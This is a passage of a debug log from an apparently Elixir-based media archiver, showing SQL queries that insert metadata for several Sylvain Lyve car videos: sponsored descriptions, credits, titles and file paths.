Le Magorou\nVignette : Quentin Legac\nScience : Joseph Shuman\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nGros bisous\n\n#PETARD #CUISSON #RESERVE", "Faire cuire un steak sous un capot : ÇA FAIT QUOI ?", "7de68e31-db7d-451f-875b-c12ae48ef72e", "WRr5ZsSPQrA", 1545, false, "https://www.youtube.com/watch?v=WRr5ZsSPQrA", 10, "/downloads/Sylvain Lyve/2026-02-12 Faire cuire un steak sous un capot : ÇA FAIT QUOI ?/Faire cuire un steak sous un capot : ÇA FAIT QUOI ? [WRr5ZsSPQrA].mkv", false, false, false, 2, [], 98, ~U[2026-02-12 17:15:07Z], ~U[2026-04-20 05:40:51Z], ~U[2026-04-20 05:40:51Z], "air up vous offre 10% de réduction sur tout le site avec le code SYLVAIN pendant 1 mois ( hors coffrets ) 👉 https://airup.link/sylvainlyve\nCollaboration commerciale\n\n----------------------------------------------\n\nMerci à Joseph pour son apport scientifique à la vidéo, et au circuit de Folembray pour leur accueil\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nMontage : Pablo Kerlogot et Thibault Iacolare\nMontage sponso : Romain Desveaux\nImage : Lucas Martin\nSon : Alan Poirier\nProduction : Anaelle Le Magorou\nVignette : Quentin Legac\nScience : Joseph Shuman\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nGros bisous\n\n#PETARD #CUISSON #RESERVE", "Faire cuire un steak sous un capot : ÇA FAIT QUOI ?", "WRr5ZsSPQrA", 1545, false, "https://www.youtube.com/watch?v=WRr5ZsSPQrA", "/downloads/Sylvain Lyve/2026-02-12 Faire cuire un steak sous un capot : ÇA FAIT QUOI ?/Faire cuire un steak sous un capot : ÇA FAIT QUOI ? [WRr5ZsSPQrA].mkv", false, 2, ~U[2026-02-12 17:15:07Z]] 07:40:51.961 [debug] QUERY OK source="sources" db=0.8ms idle=9.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:40:51.962 [debug] QUERY OK source="media_items" db=1.2ms idle=8.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-05 17:15:02Z], 2] 07:40:51.966 [debug] QUERY OK source="media_items" db=2.8ms idle=8.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["NordVPN est RAPIDE : 4 mois offerts sur l'abonnement de 2 ans 👉https://nordvpn.com/sylvainlyve\n\n---------------------------------\n\nUn grand merci à W-Autosport pour leur travail exceptionnel sur ce projet\nInstagram : https://www.instagram.com/wautosport/\n\nProduction : Anaelle Le Magorou et Capucine Semur\nImage : Lucas Martin\nSon : Alan Poirier\nMontage sponso : Romain Desveaux\nMontage : Pablo Kerlogot\n\n---------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#PROJET500 #XANTIA #V8", "Projet 500 Épisode 2 : On a mis un V8 dans la Xantia ( ça avance bien )", "049f6aaa-bd5f-4fe1-92dc-b777a5997bd3", "KBkzOmXTOF0", 1194, false, "https://www.youtube.com/watch?v=KBkzOmXTOF0", 11, "/downloads/Sylvain Lyve/2026-02-05 Projet 500 Épisode 2 : On a mis un V8 dans la Xantia ( ça avance bien )/Projet 500 Épisode 2 : On a mis un V8 dans la Xantia ( ça avance bien ) [KBkzOmXTOF0].mkv", false, false, false, 2, [], 98, ~U[2026-02-05 17:15:02Z], ~U[2026-04-20 05:40:51Z], ~U[2026-04-20 05:40:51Z], "NordVPN est RAPIDE : 4 mois offerts sur l'abonnement de 2 ans 👉https://nordvpn.com/sylvainlyve\n\n---------------------------------\n\nUn grand merci à W-Autosport pour leur travail exceptionnel sur ce projet\nInstagram : https://www.instagram.com/wautosport/\n\nProduction : Anaelle Le Magorou et Capucine Semur\nImage : Lucas Martin\nSon : Alan Poirier\nMontage sponso : Romain Desveaux\nMontage : Pablo Kerlogot\n\n---------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#PROJET500 #XANTIA #V8", "Projet 500 Épisode 2 : On a mis un V8 dans la Xantia ( ça avance bien )", "KBkzOmXTOF0", 1194, false, "https://www.youtube.com/watch?v=KBkzOmXTOF0", "/downloads/Sylvain Lyve/2026-02-05 Projet 500 Épisode 2 : On a mis un V8 dans la Xantia ( ça avance bien )/Projet 500 Épisode 2 : On a mis un V8 dans la Xantia ( ça avance bien ) [KBkzOmXTOF0].mkv", false, 2, ~U[2026-02-05 17:15:02Z]] 07:40:51.967 [debug] QUERY OK source="sources" db=0.8ms idle=10.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:40:51.969 [debug] QUERY OK source="media_items" db=1.1ms idle=8.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-29 17:15:06Z], 2] 07:40:51.973 [debug] QUERY OK source="media_items" db=3.5ms idle=8.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Trouvez l’historique de votre voiture avec CarVertical et 20% de réduction avec le code SYLVAIN 👉 https://www.carvertical.com/fr/landing/v3?utm_source=infl&a=sylvain&b=7c3caad9&voucher=sylvain\nCollaboration commerciale \n\n----------------------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nMontage sponso : Romain Desveaux\nMontage : Lucas Aubert et Thibault Iacolare\nVignette : Quentin Legac\nMusique : DJ Rofare\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#SERIESLIMITEES #PASSION #DJROFARE", "VTECH : Les séries limitées ( et parfois bien nulles )", "6e66f321-a030-485c-af5a-ba3e00ea5f77", "sdWPiBrsCVo", 2116, false, "https://www.youtube.com/watch?v=sdWPiBrsCVo", 12, "/downloads/Sylvain Lyve/2026-01-29 VTECH : Les séries limitées ( et parfois bien nulles )/VTECH : Les séries limitées ( et parfois bien nulles ) [sdWPiBrsCVo].mkv", false, false, false, 2, [], 98, ~U[2026-01-29 17:15:06Z], ~U[2026-04-20 05:40:51Z], ~U[2026-04-20 05:40:51Z], "Trouvez l’historique de votre voiture avec CarVertical et 20% de réduction avec le code SYLVAIN 👉 https://www.carvertical.com/fr/landing/v3?utm_source=infl&a=sylvain&b=7c3caad9&voucher=sylvain\nCollaboration commerciale \n\n----------------------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nMontage sponso : Romain Desveaux\nMontage : Lucas Aubert et Thibault Iacolare\nVignette : Quentin Legac\nMusique : DJ Rofare\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#SERIESLIMITEES #PASSION #DJROFARE", "VTECH : Les séries limitées ( et parfois bien nulles )", "sdWPiBrsCVo", 2116, false, "https://www.youtube.com/watch?v=sdWPiBrsCVo", "/downloads/Sylvain Lyve/2026-01-29 VTECH : Les séries limitées ( et parfois bien nulles )/VTECH : Les séries limitées ( et parfois bien nulles ) [sdWPiBrsCVo].mkv", false, 2, ~U[2026-01-29 17:15:06Z]] 07:40:51.975 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=11.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:40:51.977 [debug] QUERY OK source="media_items" db=1.8ms idle=9.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-22 17:15:05Z], 2] 07:40:51.986 [debug] QUERY OK source="media_items" db=7.9ms idle=10.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Merci à Revolut d'être carré : Téléchargez gratuitement l’application avec le lien 👉 \n 👉Revolut : Gagnez 20€ en ouvrant un compte et participez au tirage au sort pour gagner 10 000€ : https://get.revolut.com/z4lF/SylVain\n 👉Revolut Business : gagnez 80€ en ouvrant un compte pour votre entreprise : https://revolutbusiness.onelink.me/jLOt/sylvain\n(voir conditions générales)\nCollaboration commerciale\n\n-------------------------------------------\n\nUn grand merci : \n\nÀ ParisAéroport, et notamment Carole, pour leur aide sur ce projet fou, \n\nÀ Charles et Grégoire pour leur grande aide mécanique, et à Arthur et Joseph de la Fabrique Auto qui sont carrés\n\n-------------------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nProduction : Anaelle Le Magorou\nRégie : François Chatal\nImage : Lucas Martin\nSon : Alan Poirier\nDrone : Cédric Nussli\nMontage : Pablo Kerlogot et Thibault Iacolare\nMontage sponso : Romain Desveaux\nVignette : Quentin Legac\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#CARRE #SCIENTIFIQUE #KEEPUSHING", "Rouler avec des roues CARRÉES : Ça fait quoi ?", "61c563e6-002f-496f-a535-b36fee1b25e6", "uP6KZmvaz0Y", 1614, false, "https://www.youtube.com/watch?v=uP6KZmvaz0Y", 13, "/downloads/Sylvain Lyve/2026-01-22 Rouler avec des roues CARRÉES : Ça fait quoi ?/Rouler avec des roues CARRÉES : Ça fait quoi ? [uP6KZmvaz0Y].mkv", false, false, false, 2, [], 98, ~U[2026-01-22 17:15:05Z], ~U[2026-04-20 05:40:51Z], ~U[2026-04-20 05:40:51Z], "Merci à Revolut d'être carré : Téléchargez gratuitement l’application avec le lien 👉 \n 👉Revolut : Gagnez 20€ en ouvrant un compte et participez au tirage au sort pour gagner 10 000€ : https://get.revolut.com/z4lF/SylVain\n 👉Revolut Business : gagnez 80€ en ouvrant un compte pour votre entreprise : https://revolutbusiness.onelink.me/jLOt/sylvain\n(voir conditions générales)\nCollaboration commerciale\n\n-------------------------------------------\n\nUn grand merci : \n\nÀ ParisAéroport, et notamment Carole, pour leur aide sur ce projet fou, \n\nÀ Charles et Grégoire pour leur grande aide mécanique, et à Arthur et Joseph de la Fabrique Auto qui sont carrés\n\n-------------------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nProduction : Anaelle Le Magorou\nRégie : François Chatal\nImage : Lucas Martin\nSon : Alan Poirier\nDrone : Cédric Nussli\nMontage : Pablo Kerlogot et Thibault Iacolare\nMontage sponso : Romain Desveaux\nVignette : Quentin Legac\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#CARRE #SCIENTIFIQUE #KEEPUSHING", "Rouler avec des roues CARRÉES : Ça fait quoi ?", "uP6KZmvaz0Y", 1614, false, "https://www.youtube.com/watch?v=uP6KZmvaz0Y", "/downloads/Sylvain Lyve/2026-01-22 Rouler avec des roues CARRÉES : Ça fait quoi ?/Rouler avec des roues CARRÉES : Ça fait quoi ? [uP6KZmvaz0Y].mkv", false, 2, ~U[2026-01-22 17:15:05Z]] 07:40:51.987 [debug] QUERY OK source="sources" db=0.6ms idle=17.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:40:51.989 [debug] QUERY OK source="media_items" db=1.1ms idle=14.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-15 17:15:00Z], 2] 07:40:51.992 [debug] QUERY OK source="media_items" db=2.1ms idle=14.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Goûtez HOLY 👉 https://fr.weareholy.com/SylvainLyve/Youtube\nUtilisez le code \"SylvainLyve\" pour 10% de réduction et \"SylvainLyve5\" pour 5€ de réduction lors de votre 1ère commande\nCollaboration Commerciale\n\n-----------------------------------------------\nUn grand merci à l'Anneau du Rhin comme toujours exceptionnel :\nLe site 👉 https://www.anneau-du-rhin.com/\n\nEt merci à Sport Design Automobiles pour le prêt de cette incroyable R26.R\nLe site 👉 http://sport-design-automobile.fr/\n\n-----------------------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nMontage : Lucas Aubert et Thibault Iacolare\nMontage sponso : Robin Danos\nImage : Lucas Martin\nDrone : Thibault Gabet\nSon : Alan Poirier\nProduction : Anaelle Le Magorou\nVignette : Quentin Legac\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#RENAULT #BAGARRE #MEGANERSTROPHYR26RCESTLONG", "RENAULT MEGANE R26.R : Reine du Nurb'", "fe23bb11-f0dd-4350-8453-03aaab839e83", "6JeOGZG73cg", 1426, false, "https://www.youtube.com/watch?v=6JeOGZG73cg", 14, "/downloads/Sylvain Lyve/2026-01-15 RENAULT MEGANE R26.R : Reine du Nurb'/RENAULT MEGANE R26.R : Reine du Nurb' [6JeOGZG73cg].mkv", false, false, false, 2, [], 98, ~U[2026-01-15 17:15:00Z], ~U[2026-04-20 05:40:51Z], ~U[2026-04-20 05:40:51Z], "Goûtez HOLY 👉 https://fr.weareholy.com/SylvainLyve/Youtube\nUtilisez le code \"SylvainLyve\" pour 10% de réduction et \"SylvainLyve5\" pour 5€ de réduction lors de votre 1ère commande\nCollaboration Commerciale\n\n-----------------------------------------------\nUn grand merci à l'Anneau du Rhin comme toujours exceptionnel :\nLe site 👉 https://www.anneau-du-rhin.com/\n\nEt merci à Sport Design Automobiles pour le prêt de cette incroyable R26.R\nLe site 👉 http://sport-design-automobile.fr/\n\n-----------------------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nMontage : Lucas Aubert et Thibault Iacolare\nMontage sponso : Robin Danos\nImage : Lucas Martin\nDrone : Thibault Gabet\nSon : Alan Poirier\nProduction : Anaelle Le Magorou\nVignette : Quentin Legac\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#RENAULT #BAGARRE #MEGANERSTROPHYR26RCESTLONG", "RENAULT MEGANE R26.R : Reine du Nurb'", "6JeOGZG73cg", 1426, false, "https://www.youtube.com/watch?v=6JeOGZG73cg", "/downloads/Sylvain Lyve/2026-01-15 RENAULT MEGANE R26.R : Reine du Nurb'/RENAULT MEGANE R26.R : Reine du Nurb' [6JeOGZG73cg].mkv", false, 2, ~U[2026-01-15 17:15:00Z]] 07:40:51.993 [debug] QUERY OK source="sources" db=0.7ms idle=15.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:40:51.994 [debug] QUERY OK source="media_items" db=1.2ms idle=7.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-08 17:15:05Z], 2] 07:40:52.012 [debug] QUERY OK source="media_items" db=16.5ms idle=7.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["NordVPN vous souhaite une bonne année : 4 mois offerts sur l'abonnement de 2 ans 👉https://nordvpn.com/sylvainlyve\n\n-------------------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\n\nMontage : Hugo Cuocolo\nMontage sponso : Robin Danos\nVignette : Quentin Legac\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#PURETECH #BONNEANNEE #BONCOURAGE", "VTECH : Le PIRE MOTEUR de l'histoire ? ( j'exagère un peu j'avoue )", "bdb0f85a-d2e2-4a2b-a730-02bf9464f103", "OB3hFv2vOQo", 1965, false, "https://www.youtube.com/watch?v=OB3hFv2vOQo", 15, "/downloads/Sylvain Lyve/2026-01-08 VTECH : Le PIRE MOTEUR de l'histoire ? ( j'exagère un peu j'avoue )/VTECH : Le PIRE MOTEUR de l'histoire ? ( j'exagère un peu j'avoue ) [OB3hFv2vOQo].mkv", false, false, false, 2, [], 98, ~U[2026-01-08 17:15:05Z], ~U[2026-04-20 05:40:51Z], ~U[2026-04-20 05:40:51Z], "NordVPN vous souhaite une bonne année : 4 mois offerts sur l'abonnement de 2 ans 👉https://nordvpn.com/sylvainlyve\n\n-------------------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\n\nMontage : Hugo Cuocolo\nMontage sponso : Robin Danos\nVignette : Quentin Legac\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#PURETECH #BONNEANNEE #BONCOURAGE", "VTECH : Le PIRE MOTEUR de l'histoire ? ( j'exagère un peu j'avoue )", "OB3hFv2vOQo", 1965, false, "https://www.youtube.com/watch?v=OB3hFv2vOQo", "/downloads/Sylvain Lyve/2026-01-08 VTECH : Le PIRE MOTEUR de l'histoire ? ( j'exagère un peu j'avoue )/VTECH : Le PIRE MOTEUR de l'histoire ? ( j'exagère un peu j'avoue ) [OB3hFv2vOQo].mkv", false, 2, ~U[2026-01-08 17:15:05Z]] 07:40:52.014 [debug] QUERY OK source="sources" db=1.5ms idle=23.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:40:52.019 [debug] QUERY OK source="media_items" db=1.9ms queue=0.1ms idle=25.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-18 17:15:00Z], 2] 07:40:52.023 [debug] QUERY OK source="media_items" db=2.5ms idle=26.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Un grand merci à NordVPN pour leur soutien : 4 mois offerts sur l'abonnement de 2 ans 👉https://nordvpn.com/sylvainlyve\n\n-------------------------------------------\nUn grand merci : \n\nAu Centre de lavage Éléphant Bleu de RAMBOUILLET\n( Pour des raisons de sécurité il est interdit de rester dans son véhicule pendant le lavage aux rouleaux )\n\nÀ l'autodrome UTAC Linas Monthléry pour leur accueil, et en particulier Nourhène pour son aide exceptionnelle\n\nÀ Charles et Grégoire pour toutes les conneries de Sylvain rattrapées ( oups )\n\nÀ Lucas Martin pour son idée originale et stupide \n\nEt à Arthur et Joseph de la Fabrique Auto qui ont accepté de souffrir pour ce défi 24 heures\n\nProduction : Anaelle Le Magorou et Heloyse Perfetti\nImage ( et idée de merde ) : Lucas Martin\nSon : Alan Poirier\nDrone : Cédric Nussli\nMontage : Hugo Cuocolo, Thibault Iacolare, Pablo Kerlogot\nMontage sponso : Romain Desveaux\nVignette : Quentin Legac\n\n----------------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#24HEURES #FLEMME #JOYEUXNOEL", "24 HEURES POUR FABRIQUER UNE VOITURE", "3c3d35fb-0cce-4944-a49a-64a35b4b59ce", "4kEtEQcb0ws", 5577, false, "https://www.youtube.com/watch?v=4kEtEQcb0ws", 16, "/downloads/Sylvain Lyve/2025-12-18 24 HEURES POUR FABRIQUER UNE VOITURE/24 HEURES POUR FABRIQUER UNE VOITURE [4kEtEQcb0ws].mkv", false, false, false, 2, [], 98, ~U[2025-12-18 17:15:00Z], ~U[2026-04-20 05:40:52Z], ~U[2026-04-20 05:40:52Z], "Un grand merci à NordVPN pour leur soutien : 4 mois offerts sur l'abonnement de 2 ans 👉https://nordvpn.com/sylvainlyve\n\n-------------------------------------------\nUn grand merci : \n\nAu Centre de lavage Éléphant Bleu de RAMBOUILLET\n( Pour des raisons de sécurité il est interdit de rester dans son véhicule pendant le lavage aux rouleaux )\n\nÀ 